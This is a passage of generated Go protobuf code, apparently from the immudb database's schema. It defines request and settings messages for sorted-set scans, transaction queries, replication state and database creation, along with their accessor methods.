(*ZAddRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{54} } func (x *ZAddRequest) GetSet() []byte { if x != nil { return x.Set } return nil } func (x *ZAddRequest) GetScore() float64 { if x != nil { return x.Score } return 0 } func (x *ZAddRequest) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *ZAddRequest) GetAtTx() uint64 { if x != nil { return x.AtTx } return 0 } func (x *ZAddRequest) GetBoundRef() bool { if x != nil { return x.BoundRef } return false } func (x *ZAddRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } type Score struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Entry's score value Score float64 `protobuf:"fixed64,1,opt,name=score,proto3" json:"score,omitempty"` } func (x *Score) Reset() { *x = Score{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[55] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Score) String() string { return protoimpl.X.MessageStringOf(x) } func (*Score) ProtoMessage() {} func (x *Score) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[55] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Score.ProtoReflect.Descriptor instead. func (*Score) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{55} } func (x *Score) GetScore() float64 { if x != nil { return x.Score } return 0 } type ZScanRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Name of the sorted set Set []byte `protobuf:"bytes,1,opt,name=set,proto3" json:"set,omitempty"` // Key to continue the search at SeekKey []byte `protobuf:"bytes,2,opt,name=seekKey,proto3" json:"seekKey,omitempty"` // Score of the entry to continue the search at SeekScore float64 `protobuf:"fixed64,3,opt,name=seekScore,proto3" json:"seekScore,omitempty"` // AtTx of the entry to continue the search at SeekAtTx uint64 `protobuf:"varint,4,opt,name=seekAtTx,proto3" json:"seekAtTx,omitempty"` // If true, include the entry given with the `seekXXX` attributes, if false, // skip the entry and start after that one InclusiveSeek bool `protobuf:"varint,5,opt,name=inclusiveSeek,proto3" json:"inclusiveSeek,omitempty"` // Maximum number of entries to return, if 0, the default limit will be used Limit uint64 `protobuf:"varint,6,opt,name=limit,proto3" json:"limit,omitempty"` // If true, scan entries in descending order Desc bool `protobuf:"varint,7,opt,name=desc,proto3" json:"desc,omitempty"` // Minimum score of entries to scan MinScore *Score `protobuf:"bytes,8,opt,name=minScore,proto3" json:"minScore,omitempty"` // Maximum score of entries to scan MaxScore *Score `protobuf:"bytes,9,opt,name=maxScore,proto3" json:"maxScore,omitempty"` // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed SinceTx uint64 `protobuf:"varint,10,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` // Deprecated: If set to true, do not wait for the indexer to be up to date NoWait bool `protobuf:"varint,11,opt,name=noWait,proto3" json:"noWait,omitempty"` // Specify the index of initial entry to be returned by excluding the initial // set of entries (alternative to seekXXX attributes) Offset uint64 `protobuf:"varint,12,opt,name=offset,proto3" json:"offset,omitempty"` } func (x *ZScanRequest) Reset() { *x = ZScanRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ZScanRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ZScanRequest) ProtoMessage() {} func (x *ZScanRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ZScanRequest.ProtoReflect.Descriptor instead. func (*ZScanRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{56} } func (x *ZScanRequest) GetSet() []byte { if x != nil { return x.Set } return nil } func (x *ZScanRequest) GetSeekKey() []byte { if x != nil { return x.SeekKey } return nil } func (x *ZScanRequest) GetSeekScore() float64 { if x != nil { return x.SeekScore } return 0 } func (x *ZScanRequest) GetSeekAtTx() uint64 { if x != nil { return x.SeekAtTx } return 0 } func (x *ZScanRequest) GetInclusiveSeek() bool { if x != nil { return x.InclusiveSeek } return false } func (x *ZScanRequest) GetLimit() uint64 { if x != nil { return x.Limit } return 0 } func (x *ZScanRequest) GetDesc() bool { if x != nil { return x.Desc } return false } func (x *ZScanRequest) GetMinScore() *Score { if x != nil { return x.MinScore } return nil } func (x *ZScanRequest) GetMaxScore() *Score { if x != nil { return x.MaxScore } return nil } func (x *ZScanRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } func (x *ZScanRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } func (x *ZScanRequest) GetOffset() uint64 { if x != nil { return x.Offset } return 0 } type HistoryRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Name of the key to query for the history Key []byte `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` // Specify the initial entry to be returned by excluding the initial set of // entries Offset uint64 `protobuf:"varint,2,opt,name=offset,proto3" json:"offset,omitempty"` // Maximum number of entries to return Limit int32 `protobuf:"varint,3,opt,name=limit,proto3" json:"limit,omitempty"` // If true, search in descending order Desc bool `protobuf:"varint,4,opt,name=desc,proto3" json:"desc,omitempty"` // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed SinceTx uint64 `protobuf:"varint,5,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` } func (x *HistoryRequest) Reset() { *x = HistoryRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *HistoryRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*HistoryRequest) ProtoMessage() {} func (x *HistoryRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use HistoryRequest.ProtoReflect.Descriptor instead. func (*HistoryRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{57} } func (x *HistoryRequest) GetKey() []byte { if x != nil { return x.Key } return nil } func (x *HistoryRequest) GetOffset() uint64 { if x != nil { return x.Offset } return 0 } func (x *HistoryRequest) GetLimit() int32 { if x != nil { return x.Limit } return 0 } func (x *HistoryRequest) GetDesc() bool { if x != nil { return x.Desc } return false } func (x *HistoryRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } type VerifiableZAddRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Data for new sorted set entry ZAddRequest *ZAddRequest `protobuf:"bytes,1,opt,name=zAddRequest,proto3" json:"zAddRequest,omitempty"` // When generating the proof, generate consistency proof with state from this transaction ProveSinceTx uint64 `protobuf:"varint,2,opt,name=proveSinceTx,proto3" json:"proveSinceTx,omitempty"` } func (x *VerifiableZAddRequest) Reset() { *x = VerifiableZAddRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableZAddRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableZAddRequest) ProtoMessage() {} func (x *VerifiableZAddRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableZAddRequest.ProtoReflect.Descriptor instead. func (*VerifiableZAddRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{58} } func (x *VerifiableZAddRequest) GetZAddRequest() *ZAddRequest { if x != nil { return x.ZAddRequest } return nil } func (x *VerifiableZAddRequest) GetProveSinceTx() uint64 { if x != nil { return x.ProveSinceTx } return 0 } type TxRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction id to query for Tx uint64 `protobuf:"varint,1,opt,name=tx,proto3" json:"tx,omitempty"` // Specification for parsing entries, if empty, entries are returned in raw form EntriesSpec *EntriesSpec `protobuf:"bytes,2,opt,name=entriesSpec,proto3" json:"entriesSpec,omitempty"` // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed, will affect resolving references SinceTx uint64 `protobuf:"varint,3,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` // Deprecated: If set to true, do not wait for the indexer to be up to date NoWait bool `protobuf:"varint,4,opt,name=noWait,proto3" json:"noWait,omitempty"` // If set to true, do not resolve references (avoid looking up final values if not needed) KeepReferencesUnresolved bool `protobuf:"varint,5,opt,name=keepReferencesUnresolved,proto3" json:"keepReferencesUnresolved,omitempty"` } func (x *TxRequest) Reset() { *x = TxRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *TxRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*TxRequest) ProtoMessage() {} func (x *TxRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use TxRequest.ProtoReflect.Descriptor instead. func (*TxRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{59} } func (x *TxRequest) GetTx() uint64 { if x != nil { return x.Tx } return 0 } func (x *TxRequest) GetEntriesSpec() *EntriesSpec { if x != nil { return x.EntriesSpec } return nil } func (x *TxRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } func (x *TxRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } func (x *TxRequest) GetKeepReferencesUnresolved() bool { if x != nil { return x.KeepReferencesUnresolved } return false } type EntriesSpec struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Specification for parsing KV entries KvEntriesSpec *EntryTypeSpec `protobuf:"bytes,1,opt,name=kvEntriesSpec,proto3" json:"kvEntriesSpec,omitempty"` // Specification for parsing sorted set entries ZEntriesSpec *EntryTypeSpec `protobuf:"bytes,2,opt,name=zEntriesSpec,proto3" json:"zEntriesSpec,omitempty"` // Specification for parsing SQL entries SqlEntriesSpec *EntryTypeSpec `protobuf:"bytes,3,opt,name=sqlEntriesSpec,proto3" json:"sqlEntriesSpec,omitempty"` } func (x *EntriesSpec) Reset() { *x = EntriesSpec{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *EntriesSpec) String() string { return protoimpl.X.MessageStringOf(x) } func (*EntriesSpec) ProtoMessage() {} func (x *EntriesSpec) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use EntriesSpec.ProtoReflect.Descriptor instead. func (*EntriesSpec) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{60} } func (x *EntriesSpec) GetKvEntriesSpec() *EntryTypeSpec { if x != nil { return x.KvEntriesSpec } return nil } func (x *EntriesSpec) GetZEntriesSpec() *EntryTypeSpec { if x != nil { return x.ZEntriesSpec } return nil } func (x *EntriesSpec) GetSqlEntriesSpec() *EntryTypeSpec { if x != nil { return x.SqlEntriesSpec } return nil } type EntryTypeSpec struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Action to perform on entries Action EntryTypeAction `protobuf:"varint,1,opt,name=action,proto3,enum=immudb.schema.EntryTypeAction" json:"action,omitempty"` } func (x *EntryTypeSpec) Reset() { *x = EntryTypeSpec{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *EntryTypeSpec) String() string { return protoimpl.X.MessageStringOf(x) } func (*EntryTypeSpec) ProtoMessage() {} func (x *EntryTypeSpec) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use EntryTypeSpec.ProtoReflect.Descriptor instead. func (*EntryTypeSpec) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{61} } func (x *EntryTypeSpec) GetAction() EntryTypeAction { if x != nil { return x.Action } return EntryTypeAction_EXCLUDE } type VerifiableTxRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Transaction ID Tx uint64 `protobuf:"varint,1,opt,name=tx,proto3" json:"tx,omitempty"` // When generating the proof, generate consistency proof with state from this // transaction ProveSinceTx uint64 `protobuf:"varint,2,opt,name=proveSinceTx,proto3" json:"proveSinceTx,omitempty"` // Specification of how to parse entries EntriesSpec *EntriesSpec `protobuf:"bytes,3,opt,name=entriesSpec,proto3" json:"entriesSpec,omitempty"` // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed, will affect resolving references SinceTx uint64 `protobuf:"varint,4,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` // Deprecated: If set to true, do not wait for the indexer to be up to date NoWait bool `protobuf:"varint,5,opt,name=noWait,proto3" json:"noWait,omitempty"` // If set to true, do not resolve references (avoid looking up final values if not needed) KeepReferencesUnresolved bool `protobuf:"varint,6,opt,name=keepReferencesUnresolved,proto3" json:"keepReferencesUnresolved,omitempty"` } func (x *VerifiableTxRequest) Reset() { *x = VerifiableTxRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *VerifiableTxRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*VerifiableTxRequest) ProtoMessage() {} func (x *VerifiableTxRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use VerifiableTxRequest.ProtoReflect.Descriptor instead. func (*VerifiableTxRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{62} } func (x *VerifiableTxRequest) GetTx() uint64 { if x != nil { return x.Tx } return 0 } func (x *VerifiableTxRequest) GetProveSinceTx() uint64 { if x != nil { return x.ProveSinceTx } return 0 } func (x *VerifiableTxRequest) GetEntriesSpec() *EntriesSpec { if x != nil { return x.EntriesSpec } return nil } func (x *VerifiableTxRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } func (x *VerifiableTxRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } func (x *VerifiableTxRequest) GetKeepReferencesUnresolved() bool { if x != nil { return x.KeepReferencesUnresolved } return false } type TxScanRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // ID of the transaction where scanning should start InitialTx uint64 `protobuf:"varint,1,opt,name=initialTx,proto3" json:"initialTx,omitempty"` // Maximum number of transactions to scan, when not specified the default limit is used Limit uint32 `protobuf:"varint,2,opt,name=limit,proto3" json:"limit,omitempty"` // If set to true, scan transactions in descending order Desc bool `protobuf:"varint,3,opt,name=desc,proto3" json:"desc,omitempty"` // Specification of how to parse entries EntriesSpec *EntriesSpec `protobuf:"bytes,4,opt,name=entriesSpec,proto3" json:"entriesSpec,omitempty"` // If > 0, do not wait for the indexer to index all entries, only require // entries up to sinceTx to be indexed, will affect resolving references SinceTx uint64 `protobuf:"varint,5,opt,name=sinceTx,proto3" json:"sinceTx,omitempty"` // Deprecated: If set to true, do not wait for the indexer to be up to date NoWait bool `protobuf:"varint,6,opt,name=noWait,proto3" json:"noWait,omitempty"` } func (x *TxScanRequest) Reset() { *x = TxScanRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *TxScanRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*TxScanRequest) ProtoMessage() {} func (x *TxScanRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use TxScanRequest.ProtoReflect.Descriptor instead. func (*TxScanRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{63} } func (x *TxScanRequest) GetInitialTx() uint64 { if x != nil { return x.InitialTx } return 0 } func (x *TxScanRequest) GetLimit() uint32 { if x != nil { return x.Limit } return 0 } func (x *TxScanRequest) GetDesc() bool { if x != nil { return x.Desc } return false } func (x *TxScanRequest) GetEntriesSpec() *EntriesSpec { if x != nil { return x.EntriesSpec } return nil } func (x *TxScanRequest) GetSinceTx() uint64 { if x != nil { return x.SinceTx } return 0 } func (x *TxScanRequest) GetNoWait() bool { if x != nil { return x.NoWait } return false } type TxList struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // List of transactions Txs []*Tx `protobuf:"bytes,1,rep,name=txs,proto3" json:"txs,omitempty"` } func (x *TxList) Reset() { *x = TxList{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *TxList) String() string { return protoimpl.X.MessageStringOf(x) } func (*TxList) ProtoMessage() {} func (x *TxList) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use TxList.ProtoReflect.Descriptor instead. func (*TxList) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{64} } func (x *TxList) GetTxs() []*Tx { if x != nil { return x.Txs } return nil } type ExportTxRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Id of transaction to export Tx uint64 `protobuf:"varint,1,opt,name=tx,proto3" json:"tx,omitempty"` // If set to true, non-committed transactions can be exported AllowPreCommitted bool `protobuf:"varint,2,opt,name=allowPreCommitted,proto3" json:"allowPreCommitted,omitempty"` // Used on synchronous replication to notify the primary about replica state ReplicaState *ReplicaState `protobuf:"bytes,3,opt,name=replicaState,proto3" json:"replicaState,omitempty"` // If set to true, integrity checks are skipped when reading data SkipIntegrityCheck bool `protobuf:"varint,4,opt,name=skipIntegrityCheck,proto3" json:"skipIntegrityCheck,omitempty"` } func (x *ExportTxRequest) Reset() { *x = ExportTxRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ExportTxRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*ExportTxRequest) ProtoMessage() {} func (x *ExportTxRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ExportTxRequest.ProtoReflect.Descriptor instead. func (*ExportTxRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{65} } func (x *ExportTxRequest) GetTx() uint64 { if x != nil { return x.Tx } return 0 } func (x *ExportTxRequest) GetAllowPreCommitted() bool { if x != nil { return x.AllowPreCommitted } return false } func (x *ExportTxRequest) GetReplicaState() *ReplicaState { if x != nil { return x.ReplicaState } return nil } func (x *ExportTxRequest) GetSkipIntegrityCheck() bool { if x != nil { return x.SkipIntegrityCheck } return false } type ReplicaState struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields UUID string `protobuf:"bytes,1,opt,name=UUID,proto3" json:"UUID,omitempty"` CommittedTxID uint64 `protobuf:"varint,2,opt,name=committedTxID,proto3" json:"committedTxID,omitempty"` CommittedAlh []byte `protobuf:"bytes,3,opt,name=committedAlh,proto3" json:"committedAlh,omitempty"` PrecommittedTxID uint64 `protobuf:"varint,4,opt,name=precommittedTxID,proto3" json:"precommittedTxID,omitempty"` PrecommittedAlh []byte `protobuf:"bytes,5,opt,name=precommittedAlh,proto3" json:"precommittedAlh,omitempty"` } func (x *ReplicaState) Reset() { *x = ReplicaState{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ReplicaState) String() string { return protoimpl.X.MessageStringOf(x) } func (*ReplicaState) ProtoMessage() {} func (x *ReplicaState) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ReplicaState.ProtoReflect.Descriptor instead. func (*ReplicaState) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{66} } func (x *ReplicaState) GetUUID() string { if x != nil { return x.UUID } return "" } func (x *ReplicaState) GetCommittedTxID() uint64 { if x != nil { return x.CommittedTxID } return 0 } func (x *ReplicaState) GetCommittedAlh() []byte { if x != nil { return x.CommittedAlh } return nil } func (x *ReplicaState) GetPrecommittedTxID() uint64 { if x != nil { return x.PrecommittedTxID } return 0 } func (x *ReplicaState) GetPrecommittedAlh() []byte { if x != nil { return x.PrecommittedAlh } return nil } type Database struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Name of the database DatabaseName string `protobuf:"bytes,1,opt,name=databaseName,proto3" json:"databaseName,omitempty"` } func (x *Database) Reset() { *x = Database{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *Database) String() string { return protoimpl.X.MessageStringOf(x) } func (*Database) ProtoMessage() {} func (x *Database) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use Database.ProtoReflect.Descriptor instead. func (*Database) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{67} } func (x *Database) GetDatabaseName() string { if x != nil { return x.DatabaseName } return "" } type DatabaseSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Name of the database DatabaseName string `protobuf:"bytes,1,opt,name=databaseName,proto3" json:"databaseName,omitempty"` // If set to true, this database is replicating another database Replica bool `protobuf:"varint,2,opt,name=replica,proto3" json:"replica,omitempty"` // Name of the database to replicate PrimaryDatabase string `protobuf:"bytes,3,opt,name=primaryDatabase,proto3" json:"primaryDatabase,omitempty"` // Hostname of the immudb instance with database to replicate PrimaryHost string `protobuf:"bytes,4,opt,name=primaryHost,proto3" json:"primaryHost,omitempty"` // Port of the immudb instance with database to replicate PrimaryPort uint32 `protobuf:"varint,5,opt,name=primaryPort,proto3" json:"primaryPort,omitempty"` // Username of the user with read access of the database to replicate PrimaryUsername string `protobuf:"bytes,6,opt,name=primaryUsername,proto3" json:"primaryUsername,omitempty"` // Password of the user with read access of the database to replicate PrimaryPassword string `protobuf:"bytes,7,opt,name=primaryPassword,proto3" json:"primaryPassword,omitempty"` // Size of files stored on disk FileSize uint32 `protobuf:"varint,8,opt,name=fileSize,proto3" json:"fileSize,omitempty"` // Maximum length of keys MaxKeyLen uint32 `protobuf:"varint,9,opt,name=maxKeyLen,proto3" json:"maxKeyLen,omitempty"` // Maximum length of values MaxValueLen uint32 `protobuf:"varint,10,opt,name=maxValueLen,proto3" json:"maxValueLen,omitempty"` // Maximum number of entries in a single transaction MaxTxEntries uint32 `protobuf:"varint,11,opt,name=maxTxEntries,proto3" json:"maxTxEntries,omitempty"` // If set to true, do not include commit timestamp in transaction headers ExcludeCommitTime bool `protobuf:"varint,12,opt,name=excludeCommitTime,proto3" json:"excludeCommitTime,omitempty"` } func (x *DatabaseSettings) Reset() { *x = DatabaseSettings{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *DatabaseSettings) String() string { return protoimpl.X.MessageStringOf(x) } func (*DatabaseSettings) ProtoMessage() {} func (x *DatabaseSettings) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use DatabaseSettings.ProtoReflect.Descriptor instead. func (*DatabaseSettings) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{68} } func (x *DatabaseSettings) GetDatabaseName() string { if x != nil { return x.DatabaseName } return "" } func (x *DatabaseSettings) GetReplica() bool { if x != nil { return x.Replica } return false } func (x *DatabaseSettings) GetPrimaryDatabase() string { if x != nil { return x.PrimaryDatabase } return "" } func (x *DatabaseSettings) GetPrimaryHost() string { if x != nil { return x.PrimaryHost } return "" } func (x *DatabaseSettings) GetPrimaryPort() uint32 { if x != nil { return x.PrimaryPort } return 0 } func (x *DatabaseSettings) GetPrimaryUsername() string { if x != nil { return x.PrimaryUsername } return "" } func (x *DatabaseSettings) GetPrimaryPassword() string { if x != nil { return x.PrimaryPassword } return "" } func (x *DatabaseSettings) GetFileSize() uint32 { if x != nil { return x.FileSize } return 0 } func (x *DatabaseSettings) GetMaxKeyLen() uint32 { if x != nil { return x.MaxKeyLen } return 0 } func (x *DatabaseSettings) GetMaxValueLen() uint32 { if x != nil { return x.MaxValueLen } return 0 } func (x *DatabaseSettings) GetMaxTxEntries() uint32 { if x != nil { return x.MaxTxEntries } return 0 } func (x *DatabaseSettings) GetExcludeCommitTime() bool { if x != nil { return x.ExcludeCommitTime } return false } type CreateDatabaseRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // Database name Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` // Database settings Settings *DatabaseNullableSettings `protobuf:"bytes,2,opt,name=settings,proto3" json:"settings,omitempty"` // If set to true, do not fail if the database already exists IfNotExists bool `protobuf:"varint,3,opt,name=ifNotExists,proto3" json:"ifNotExists,omitempty"` } func (x *CreateDatabaseRequest) Reset() { *x = CreateDatabaseRequest{} if protoimpl.UnsafeEnabled { mi := &file_schema_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *CreateDatabaseRequest) String() string { return protoimpl.X.MessageStringOf(x) } func (*CreateDatabaseRequest) ProtoMessage() {} func (x *CreateDatabaseRequest) ProtoReflect() protoreflect.Message { mi := &file_schema_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use CreateDatabaseRequest.ProtoReflect.Descriptor instead. func (*CreateDatabaseRequest) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{69} } func (x *CreateDatabaseRequest) GetName() string { if x != nil { return x.Name } return "" } func (x *CreateDatabaseRequest) GetSettings() *DatabaseNullableSettings { if x != nil { return x.Settings } return nil } func (x *CreateDatabaseRequest) GetIfNotExists() bool { if x != nil { return x.IfNotExists } return false } type CreateDatabaseResponse struct { state protoimpl.MessageState sizeCache 